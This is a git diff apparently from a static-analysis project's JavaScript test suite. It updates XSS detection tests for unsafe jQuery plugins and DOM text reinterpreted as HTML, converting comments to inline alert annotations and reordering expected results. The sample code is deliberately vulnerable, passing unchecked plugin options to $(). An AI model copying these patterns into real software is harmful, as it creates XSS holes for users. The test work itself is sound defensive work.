-| unsafe-jquery-plugin.js:22:6:22:11 | target | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:22:6:22:11 | target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:2:19:63:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
-| unsafe-jquery-plugin.js:30:6:30:11 | target | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:30:6:30:11 | target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:2:19:63:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
-| unsafe-jquery-plugin.js:36:6:36:11 | target | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:36:6:36:11 | target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:2:19:63:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
-| unsafe-jquery-plugin.js:40:6:40:11 | target | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:40:6:40:11 | target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:2:19:63:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
-| unsafe-jquery-plugin.js:48:6:48:11 | target | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:48:6:48:11 | target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:2:19:63:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
-| unsafe-jquery-plugin.js:52:6:52:11 | target | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:52:6:52:11 | target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:2:19:63:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
-| unsafe-jquery-plugin.js:60:6:60:11 | target | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:60:6:60:11 | target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:2:19:63:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
-| unsafe-jquery-plugin.js:68:45:68:63 | this.options.parent | unsafe-jquery-plugin.js:65:47:65:53 | options | unsafe-jquery-plugin.js:68:45:68:63 | this.options.parent | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:65:19:69:2 | functio ... T OK\\n\\t} | '$.fn.my_plugin' plugin |
-| unsafe-jquery-plugin.js:72:5:72:23 | options.foo.bar.baz | unsafe-jquery-plugin.js:71:38:71:44 | options | unsafe-jquery-plugin.js:72:5:72:23 | options.foo.bar.baz | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:71:19:74:2 | functio ... / OK\\n\\t} | '$.fn.my_plugin' plugin |
-| unsafe-jquery-plugin.js:77:17:77:35 | options.foo.bar.baz | unsafe-jquery-plugin.js:76:38:76:44 | options | unsafe-jquery-plugin.js:77:17:77:35 | options.foo.bar.baz | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:76:19:78:2 | functio ... T OK\\n\\t} | '$.fn.my_plugin' plugin |
-| unsafe-jquery-plugin.js:90:6:90:6 | t | unsafe-jquery-plugin.js:84:38:84:44 | options | unsafe-jquery-plugin.js:90:6:90:6 | t | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:84:19:93:2 | functio ... ns);\\n\\t} | '$.fn.my_plugin' plugin |
-| unsafe-jquery-plugin.js:107:5:107:18 | options.target | unsafe-jquery-plugin.js:101:38:101:44 | options | unsafe-jquery-plugin.js:107:5:107:18 | options.target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:101:19:108:2 | functio ... T OK\\n\\t} | '$.fn.my_plugin' plugin |
-| unsafe-jquery-plugin.js:117:5:117:18 | options.target | unsafe-jquery-plugin.js:114:38:114:44 | options | unsafe-jquery-plugin.js:117:5:117:18 | options.target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:114:19:118:2 | functio ... T OK\\n\\t} | '$.fn.my_plugin' plugin |
-| unsafe-jquery-plugin.js:122:5:122:18 | options.target | unsafe-jquery-plugin.js:121:40:121:46 | options | unsafe-jquery-plugin.js:122:5:122:18 | options.target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:121:21:123:2 | functio ... T OK\\n\\t} | '$.fn.my_plugin' plugin |
-| unsafe-jquery-plugin.js:127:6:127:19 | options.target | unsafe-jquery-plugin.js:126:33:126:39 | options | unsafe-jquery-plugin.js:127:6:127:19 | options.target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:126:14:128:3 | functio ...  OK\\n\\t\\t} | '$.fn.my_plugin' plugin |
-| unsafe-jquery-plugin.js:132:5:132:18 | options.target | unsafe-jquery-plugin.js:131:34:131:40 | options | unsafe-jquery-plugin.js:132:5:132:18 | options.target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:131:15:133:2 | functio ... T OK\\n\\t} | '$.fn.affix' plugin |
-| unsafe-jquery-plugin.js:136:5:136:29 | options ... elector | unsafe-jquery-plugin.js:135:36:135:42 | options | unsafe-jquery-plugin.js:136:5:136:29 | options ... elector | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:135:17:137:2 | functio ... T OK\\n\\t} | '$.fn.tooltip' plugin |
-| unsafe-jquery-plugin.js:157:44:157:59 | options.target.a | unsafe-jquery-plugin.js:153:38:153:44 | options | unsafe-jquery-plugin.js:157:44:157:59 | options.target.a | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:153:19:158:2 | functio ... NCY]\\n\\t} | '$.fn.my_plugin' plugin |
-| unsafe-jquery-plugin.js:170:6:170:11 | target | unsafe-jquery-plugin.js:160:38:160:44 | options | unsafe-jquery-plugin.js:170:6:170:11 | target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:160:19:173:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
-| unsafe-jquery-plugin.js:179:5:179:18 | options.target | unsafe-jquery-plugin.js:178:27:178:33 | options | unsafe-jquery-plugin.js:179:5:179:18 | options.target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:178:18:180:2 | functio ... T OK\\n\\t} | '$.fn.my_plugin' plugin |
-| unsafe-jquery-plugin.js:192:19:192:28 | options.of | unsafe-jquery-plugin.js:185:28:185:34 | options | unsafe-jquery-plugin.js:192:19:192:28 | options.of | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:185:18:194:2 | functio ... et);\\n\\t} | '$.fn.position' plugin |
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeJQueryPlugin/UnsafeJQueryPlugin.qlref b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeJQueryPlugin/UnsafeJQueryPlugin.qlref
index 66c19069e074..717ac0c8ff74 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeJQueryPlugin/UnsafeJQueryPlugin.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeJQueryPlugin/UnsafeJQueryPlugin.qlref
@@ -1 +1,2 @@
-Security/CWE-079/UnsafeJQueryPlugin.ql
\ No newline at end of file
+query: Security/CWE-079/UnsafeJQueryPlugin.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeJQueryPlugin/unsafe-jquery-plugin.js b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeJQueryPlugin/unsafe-jquery-plugin.js
index bda981fe2b7d..315644f407df 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeJQueryPlugin/unsafe-jquery-plugin.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeJQueryPlugin/unsafe-jquery-plugin.js
@@ -1,93 +1,93 @@
 (function(){
-	$.fn.my_plugin = function my_plugin(options) {
-		$(options); // NOT OK (or is it?)
+	$.fn.my_plugin = function my_plugin(options) { // $ Source
+		$(options); // $ Alert - or is it?
 
-		$(options.target); // NOT OK
+		$(options.target); // $ Alert
 
 		if (isElement(options.target)) {
-			$(options.target); // OK
+			$(options.target);
 		}
 
 		var target = options.target;
 
 		if (isElement(target)) {
-			$(target); // OK
+			$(target);
 		}
 
 		if (typeof target != "string") {
-			$(target); // OK
+			$(target);
 		}
 
 		if (target.jquery === undefined) {
-			$(target); // NOT OK
+			$(target); // $ Alert
 		} else {
-			$(target); // OK
+			$(target);
 		}
 
 		if (target.jquery !== undefined) {
-			$(target); // OK
+			$(target);
 		} else {
-			$(target); // NOT OK
+			$(target); // $ Alert
 		}
 
 		if (typeof target.jquery !== "undefined") {
-			$(target); // OK
+			$(target);
 		} else {
-			$(target); // NOT OK
+			$(target); // $ Alert
 		}
 
 		if (typeof target.jquery === "undefined") {
-			$(target); // NOT OK
+			$(target); // $ Alert
 		} else {
-			$(target); // OK
+			$(target);
 		}
 
 		if (target.jquery) {
-			$(target);  // OK
+			$(target);
 		} else {
-			$(target); // NOT OK
+			$(target); // $ Alert
 		}
 
 		if (!target.jquery) {
-			$(target);  // NOT OK
+			$(target);  // $ Alert
 		} else {
-			$(target); // OK
+			$(target);
 		}
 
 		if (!!target.jquery) {
-			$(target);  // OK
+			$(target);
 		} else {
-			$(target); // NOT OK
+			$(target); // $ Alert
 		}
 
 	};
 
-	$.fn.my_plugin = function my_plugin(element, options) {
+	$.fn.my_plugin = function my_plugin(element, options) { // $ Source
 		this.$element      = $(element);
 		this.options       = $.extend({}, options);
-		if (this.options.parent) this.$parent = $(this.options.parent) // NOT OK
+		if (this.options.parent) this.$parent = $(this.options.parent) // $ Alert
 	};
 
-	$.fn.my_plugin = function my_plugin(options) {
-		$(options.foo.bar.baz); // NOT OK
-		$(options.html); // OK
+	$.fn.my_plugin = function my_plugin(options) { // $ Source
+		$(options.foo.bar.baz); // $ Alert
+		$(options.html);
 	};
 
-	$.fn.my_plugin = function my_plugin(options) {
-		$(x).appendTo(options.foo.bar.baz); // NOT OK
+	$.fn.my_plugin = function my_plugin(options) { // $ Source
+		$(x).appendTo(options.foo.bar.baz); // $ Alert
 	};
 
 	$.fn.my_plugin = function my_plugin(options) {
-		$("#" + options.target); // OK
+		$("#" + options.target);
 	};
 
-	$.fn.my_plugin = function my_plugin(options) {
+	$.fn.my_plugin = function my_plugin(options) { // $ Source
 		function f(o) {
 			this.o = $.extend({}, o);
 			var t = this.o.target;
 
 			console.log(t);
-			$(t); // NOT OK
+			$(t); // $ Alert
 		}
 		f(options);
 	};
@@ -95,79 +95,79 @@
 	$.fn.my_plugin = function my_plugin(options) {
 		var target = options.target;
 		if (safe.has(target))
-			$(target); // OK
+			$(target);
 	};
 
-	$.fn.my_plugin = function my_plugin(options) {
+	$.fn.my_plugin = function my_plugin(options) { // $ Source
 		options = $.extend({
 			menu: '<div></div>',
 			target: '.my_plugin'
 		}, options);
-		$(options.menu); // OK
-		$(options.target); // NOT OK
+		$(options.menu);
+		$(options.target); // $ Alert
 	};
 
 	$.fn.my_plugin.defaults = {
 		menu: '<div></div>',
 		target: '.my_plugin'
 	};
-	$.fn.my_plugin = function my_plugin(options) {
+	$.fn.my_plugin = function my_plugin(options) { // $ Source
 		options = $.extend({}, $.fn.my_plugin.defaults, options);
-		$(options.menu); // OK
-		$(options.target); // NOT OK
+		$(options.menu);
+		$(options.target); // $ Alert
 	};
 
 	var pluginName = "my_plugin";
-	$.fn[pluginName] = function my_plugin(options) {
-		$(options.target); // NOT OK
+	$.fn[pluginName] = function my_plugin(options) { // $ Source
+		$(options.target); // $ Alert
 	};
 
 	$.extend($.fn, {
-		my_plugin: function my_plugin(options) {
-			$(options.target); // NOT OK
+		my_plugin: function my_plugin(options) { // $ Source
+			$(options.target); // $ Alert
 		}
 	});
 
-	$.fn.affix = function my_plugin(options) {
-		$(options.target); // NOT OK
+	$.fn.affix = function my_plugin(options) { // $ Source
+		$(options.target); // $ Alert
 	};
 
-	$.fn.tooltip = function my_plugin(options) {
-		$(options.viewport.selector); // NOT OK
+	$.fn.tooltip = function my_plugin(options) { // $ Source
+		$(options.viewport.selector); // $ Alert
 	};
 
 	$.fn.my_plugin = function my_plugin(options) {
 		let intentional1 = options.target || `<div>hello</div>`;
-		$(intentional1); // OK
+		$(intentional1);
 
 		let intentional2 = `<div>${options.target}</div>`;
-		$(intentional2); // OK
+		$(intentional2);
 
 		let intentional3 = `<div>` + options.target `</div>`;
-		$(intentional3); // OK
+		$(intentional3);
 
 		let unintentional = `<div class="${options.target}"></div>`;
 		$(unintentional); // OK - but should be flagged by another query
 	}
 
-	$.fn.my_plugin = function my_plugin(options) {
+	$.fn.my_plugin = function my_plugin(options) { // $ Source
 		let target = options.target;
-		target === DEFAULTS.target? $(target): $(document).find(target); // OK
-		options.target === DEFAULTS.target? $(options.target): $(document).find(options.target); // OK
-		options.targets.a === DEFAULTS.target? $(options.target.a): $(document).find(options.target.a); // OK - should be sanitized by `MembershipTestSanitizer` - but still flagged because `AccessPath` can't handle these deeply nested properties [INCONSISTENCY]
+		target === DEFAULTS.target? $(target): $(document).find(target);
+		options.target === DEFAULTS.target? $(options.target): $(document).find(options.target);
+		options.targets.a === DEFAULTS.target? $(options.target.a): $(document).find(options.target.a); // $ SPURIOUS: Alert - should be sanitized by `MembershipTestSanitizer` - but still flagged because `AccessPath` can't handle these deeply nested properties
 	}
 
-	$.fn.my_plugin = function my_plugin(options) {
-		$(anyPrefix + options.target); // OK (unlikely to be a html/css prefix confusion)
+	$.fn.my_plugin = function my_plugin(options) { // $ Source
+		$(anyPrefix + options.target); // OK - unlikely to be a html/css prefix confusion
 
-		$(something.replace("%PLACEHOLDER%", options.target)); // OK (unlikely to be a html/css prefix confusion);
+		$(something.replace("%PLACEHOLDER%", options.target)); // OK - (unlikely to be a html/css prefix confusion);
 
 		let target = options.target;
 		if (target.foo) {
-			$(target); // OK (unlikely to be a string)
+			$(target); // OK - unlikely to be a string
 		}
 		if (target.length) {
-			$(target); // NOT OK (can still be a string)
+			$(target); // $ Alert - can still be a string
 		}
 
 	}
@@ -175,28 +175,28 @@
 	function setupPlugin(o) {
 		$.fn.my_plugin = o.f
 	}
-	setupPlugin({f: function(options) {
-		$(options.target); // NOT OK
+	setupPlugin({f: function(options) { // $ Source
+		$(options.target); // $ Alert
 	}});
 	setupPlugin({f:function(options) {
-		$(document).find(options.target); // OK
+		$(document).find(options.target);
 	}});
 
-	$.fn.position = function( options ) {
+	$.fn.position = function( options ) { // $ Source
 		if ( !options || !options.of ) {
 			return doSomethingElse( this, arguments );
 		}
 		// extending options
 		options = $.extend( {}, options );
 
-		var target = $( options.of ); // NOT OK
+		var target = $( options.of ); // $ Alert
 		console.log(target);
 	};
 
 	$.fn.blockReceiver = function( options ) {
 		$.extend({
 				foo() {
-					$(this); // OK
+					$(this);
 				}
 			},
 			options,
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/ConsistencyXssThroughDom.ql b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/ConsistencyXssThroughDom.ql
deleted file mode 100644
index 547763a8f838..000000000000
--- a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/ConsistencyXssThroughDom.ql
+++ /dev/null
@@ -1,14 +0,0 @@
-import javascript
-deprecated import utils.test.ConsistencyChecking
-import semmle.javascript.security.dataflow.XssThroughDomQuery
-
-deprecated class ConsistencyConfig extends ConsistencyConfiguration {
-  ConsistencyConfig() { this = "ConsistencyConfig" }
-
-  override DataFlow::Node getAnAlert() {
-    exists(DataFlow::Node source |
-      XssThroughDomFlow::flow(source, result) and
-      not isIgnoredSourceSinkPair(source, result)
-    )
-  }
-}
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected
index 1b53311a3d69..6f2eed5b1393 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected
@@ -1,3 +1,52 @@
+#select
+| angular.ts:16:24:16:41 | event.target.value | angular.ts:16:24:16:41 | event.target.value | angular.ts:16:24:16:41 | event.target.value | $@ is reinterpreted as HTML without escaping meta-characters. | angular.ts:16:24:16:41 | event.target.value | DOM text |
+| angular.ts:20:24:20:35 | target.value | angular.ts:20:24:20:35 | target.value | angular.ts:20:24:20:35 | target.value | $@ is reinterpreted as HTML without escaping meta-characters. | angular.ts:20:24:20:35 | target.value | DOM text |
+| angular.ts:29:24:29:37 | form.value.foo | angular.ts:29:24:29:33 | form.value | angular.ts:29:24:29:37 | form.value.foo | $@ is reinterpreted as HTML without escaping meta-characters. | angular.ts:29:24:29:33 | form.value | DOM text |
+| angular.ts:33:24:33:33 | this.field | angular.ts:12:5:12:23 | field: string = ""; | angular.ts:33:24:33:33 | this.field | $@ is reinterpreted as HTML without escaping meta-characters. | angular.ts:12:5:12:23 | field: string = ""; | DOM text |
+| forms.js:9:31:9:40 | values.foo | forms.js:8:23:8:28 | values | forms.js:9:31:9:40 | values.foo | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:8:23:8:28 | values | DOM text |
+| forms.js:12:31:12:40 | values.bar | forms.js:11:24:11:29 | values | forms.js:12:31:12:40 | values.bar | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:11:24:11:29 | values | DOM text |
+| forms.js:25:23:25:34 | values.email | forms.js:24:15:24:20 | values | forms.js:25:23:25:34 | values.email | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:24:15:24:20 | values | DOM text |
+| forms.js:29:23:29:34 | values.email | forms.js:28:20:28:25 | values | forms.js:29:23:29:34 | values.email | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:28:20:28:25 | values | DOM text |
+| forms.js:35:19:35:30 | values.email | forms.js:34:13:34:18 | values | forms.js:35:19:35:30 | values.email | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:34:13:34:18 | values | DOM text |
+| forms.js:45:21:45:33 | values.stooge | forms.js:44:21:44:26 | values | forms.js:45:21:45:33 | values.stooge | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:44:21:44:26 | values | DOM text |
+| forms.js:57:19:57:32 | e.target.value | forms.js:57:19:57:32 | e.target.value | forms.js:57:19:57:32 | e.target.value | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:57:19:57:32 | e.target.value | DOM text |
+| forms.js:72:19:72:27 | data.name | forms.js:71:21:71:24 | data | forms.js:72:19:72:27 | data.name | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:71:21:71:24 | data | DOM text |
+| forms.js:93:25:93:35 | values.name | forms.js:92:26:92:36 | getValues() | forms.js:93:25:93:35 | values.name | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:92:26:92:36 | getValues() | DOM text |
+| forms.js:103:23:103:36 | e.target.value | forms.js:103:23:103:36 | e.target.value | forms.js:103:23:103:36 | e.target.value | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:103:23:103:36 | e.target.value | DOM text |
+| forms.js:107:23:107:36 | e.target.value | forms.js:107:23:107:36 | e.target.value | forms.js:107:23:107:36 | e.target.value | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:107:23:107:36 | e.target.value | DOM text |
+| xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:2:16:2:34 | $("textarea").val() | DOM text |
+| xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | DOM text |
+| xss-through-dom.js:8:16:8:53 | $(".som ... arget") | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | DOM text |
+| xss-through-dom.js:11:3:11:42 | documen ... nerText | xss-through-dom.js:11:3:11:42 | documen ... nerText | xss-through-dom.js:11:3:11:42 | documen ... nerText | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:11:3:11:42 | documen ... nerText | DOM text |
+| xss-through-dom.js:19:3:19:44 | documen ... Content | xss-through-dom.js:19:3:19:44 | documen ... Content | xss-through-dom.js:19:3:19:44 | documen ... Content | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:19:3:19:44 | documen ... Content | DOM text |
+| xss-through-dom.js:23:3:23:48 | documen ... ].value | xss-through-dom.js:23:3:23:48 | documen ... ].value | xss-through-dom.js:23:3:23:48 | documen ... ].value | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:23:3:23:48 | documen ... ].value | DOM text |
+| xss-through-dom.js:27:3:27:61 | documen ... arget') | xss-through-dom.js:27:3:27:61 | documen ... arget') | xss-through-dom.js:27:3:27:61 | documen ... arget') | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:27:3:27:61 | documen ... arget') | DOM text |
+| xss-through-dom.js:51:30:51:48 | $("textarea").val() | xss-through-dom.js:51:30:51:48 | $("textarea").val() | xss-through-dom.js:51:30:51:48 | $("textarea").val() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:51:30:51:48 | $("textarea").val() | DOM text |
+| xss-through-dom.js:54:31:54:49 | $("textarea").val() | xss-through-dom.js:54:31:54:49 | $("textarea").val() | xss-through-dom.js:54:31:54:49 | $("textarea").val() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:54:31:54:49 | $("textarea").val() | DOM text |
+| xss-through-dom.js:56:30:56:51 | $("inpu ... 0).name | xss-through-dom.js:56:30:56:51 | $("inpu ... 0).name | xss-through-dom.js:56:30:56:51 | $("inpu ... 0).name | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:56:30:56:51 | $("inpu ... 0).name | DOM text |
+| xss-through-dom.js:57:30:57:67 | $("inpu ... "name") | xss-through-dom.js:57:30:57:67 | $("inpu ... "name") | xss-through-dom.js:57:30:57:67 | $("inpu ... "name") | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:57:30:57:67 | $("inpu ... "name") | DOM text |
+| xss-through-dom.js:61:30:61:69 | $(docum ... value") | xss-through-dom.js:61:30:61:69 | $(docum ... value") | xss-through-dom.js:61:30:61:69 | $(docum ... value") | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:61:30:61:69 | $(docum ... value") | DOM text |
+| xss-through-dom.js:64:30:64:40 | valMethod() | xss-through-dom.js:64:30:64:40 | valMethod() | xss-through-dom.js:64:30:64:40 | valMethod() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:64:30:64:40 | valMethod() | DOM text |
+| xss-through-dom.js:71:11:71:32 | $("inpu ... 0).name | xss-through-dom.js:71:11:71:32 | $("inpu ... 0).name | xss-through-dom.js:71:11:71:32 | $("inpu ... 0).name | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:71:11:71:32 | $("inpu ... 0).name | DOM text |
+| xss-through-dom.js:77:4:77:11 | selector | xss-through-dom.js:73:20:73:41 | $("inpu ... 0).name | xss-through-dom.js:77:4:77:11 | selector | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:73:20:73:41 | $("inpu ... 0).name | DOM text |
+| xss-through-dom.js:79:4:79:34 | documen ... t.value | xss-through-dom.js:79:4:79:34 | documen ... t.value | xss-through-dom.js:79:4:79:34 | documen ... t.value | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:79:4:79:34 | documen ... t.value | DOM text |
+| xss-through-dom.js:81:17:81:43 | $('#foo ... rText') | xss-through-dom.js:81:17:81:43 | $('#foo ... rText') | xss-through-dom.js:81:17:81:43 | $('#foo ... rText') | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:81:17:81:43 | $('#foo ... rText') | DOM text |
+| xss-through-dom.js:86:16:86:37 | anser.a ... l(text) | xss-through-dom.js:84:15:84:30 | $("text").text() | xss-through-dom.js:86:16:86:37 | anser.a ... l(text) | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:84:15:84:30 | $("text").text() | DOM text |
+| xss-through-dom.js:87:16:87:40 | new ans ... s(text) | xss-through-dom.js:84:15:84:30 | $("text").text() | xss-through-dom.js:87:16:87:40 | new ans ... s(text) | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:84:15:84:30 | $("text").text() | DOM text |
+| xss-through-dom.js:93:16:93:46 | $("#foo ... ].value | xss-through-dom.js:93:16:93:46 | $("#foo ... ].value | xss-through-dom.js:93:16:93:46 | $("#foo ... ].value | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:93:16:93:46 | $("#foo ... ].value | DOM text |
+| xss-through-dom.js:96:17:96:47 | $("#foo ... ].value | xss-through-dom.js:96:17:96:47 | $("#foo ... ].value | xss-through-dom.js:96:17:96:47 | $("#foo ... ].value | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:96:17:96:47 | $("#foo ... ].value | DOM text |
+| xss-through-dom.js:109:31:109:70 | "<a src ... oo</a>" | xss-through-dom.js:109:45:109:55 | this.el.src | xss-through-dom.js:109:31:109:70 | "<a src ... oo</a>" | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:109:45:109:55 | this.el.src | DOM text |
+| xss-through-dom.js:115:16:115:18 | src | xss-through-dom.js:114:17:114:52 | documen ... k").src | xss-through-dom.js:115:16:115:18 | src | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:114:17:114:52 | documen ... k").src | DOM text |
+| xss-through-dom.js:120:23:120:45 | ev.targ ... 0].name | xss-through-dom.js:120:23:120:37 | ev.target.files | xss-through-dom.js:120:23:120:45 | ev.targ ... 0].name | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:120:23:120:37 | ev.target.files | DOM text |
+| xss-through-dom.js:122:33:122:71 | URL.cre ... les[0]) | xss-through-dom.js:122:53:122:67 | ev.target.files | xss-through-dom.js:122:33:122:71 | URL.cre ... les[0]) | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:122:53:122:67 | ev.target.files | DOM text |
+| xss-through-dom.js:131:19:131:26 | linkText | xss-through-dom.js:130:17:130:37 | wSelect ... tring() | xss-through-dom.js:131:19:131:26 | linkText | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:130:17:130:37 | wSelect ... tring() | DOM text |
+| xss-through-dom.js:131:19:131:26 | linkText | xss-through-dom.js:130:42:130:62 | dSelect ... tring() | xss-through-dom.js:131:19:131:26 | linkText | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:130:42:130:62 | dSelect ... tring() | DOM text |
+| xss-through-dom.js:132:16:132:23 | linkText | xss-through-dom.js:130:17:130:37 | wSelect ... tring() | xss-through-dom.js:132:16:132:23 | linkText | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:130:17:130:37 | wSelect ... tring() | DOM text |
+| xss-through-dom.js:132:16:132:23 | linkText | xss-through-dom.js:130:42:130:62 | dSelect ... tring() | xss-through-dom.js:132:16:132:23 | linkText | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:130:42:130:62 | dSelect ... tring() | DOM text |
+| xss-through-dom.js:140:19:140:21 | src | xss-through-dom.js:139:17:139:52 | documen ... k").src | xss-through-dom.js:140:19:140:21 | src | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:139:17:139:52 | documen ... k").src | DOM text |
+| xss-through-dom.js:141:25:141:27 | src | xss-through-dom.js:139:17:139:52 | documen ... k").src | xss-through-dom.js:141:25:141:27 | src | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:139:17:139:52 | documen ... k").src | DOM text |
+| xss-through-dom.js:150:24:150:26 | src | xss-through-dom.js:139:17:139:52 | documen ... k").src | xss-through-dom.js:150:24:150:26 | src | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:139:17:139:52 | documen ... k").src | DOM text |
+| xss-through-dom.js:155:27:155:29 | msg | xss-through-dom.js:159:34:159:52 | $("textarea").val() | xss-through-dom.js:155:27:155:29 | msg | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:159:34:159:52 | $("textarea").val() | DOM text |
 edges
 | angular.ts:12:5:12:23 | field: string = ""; | angular.ts:33:24:33:33 | this.field | provenance |  |
 | angular.ts:29:24:29:33 | form.value | angular.ts:29:24:29:37 | form.value.foo | provenance |  |
@@ -131,52 +180,3 @@ nodes
 | xss-through-dom.js:155:27:155:29 | msg | semmle.label | msg |
 | xss-through-dom.js:159:34:159:52 | $("textarea").val() | semmle.label | $("textarea").val() |
 subpaths
-#select
-| angular.ts:16:24:16:41 | event.target.value | angular.ts:16:24:16:41 | event.target.value | angular.ts:16:24:16:41 | event.target.value | $@ is reinterpreted as HTML without escaping meta-characters. | angular.ts:16:24:16:41 | event.target.value | DOM text |
-| angular.ts:20:24:20:35 | target.value | angular.ts:20:24:20:35 | target.value | angular.ts:20:24:20:35 | target.value | $@ is reinterpreted as HTML without escaping meta-characters. | angular.ts:20:24:20:35 | target.value | DOM text |
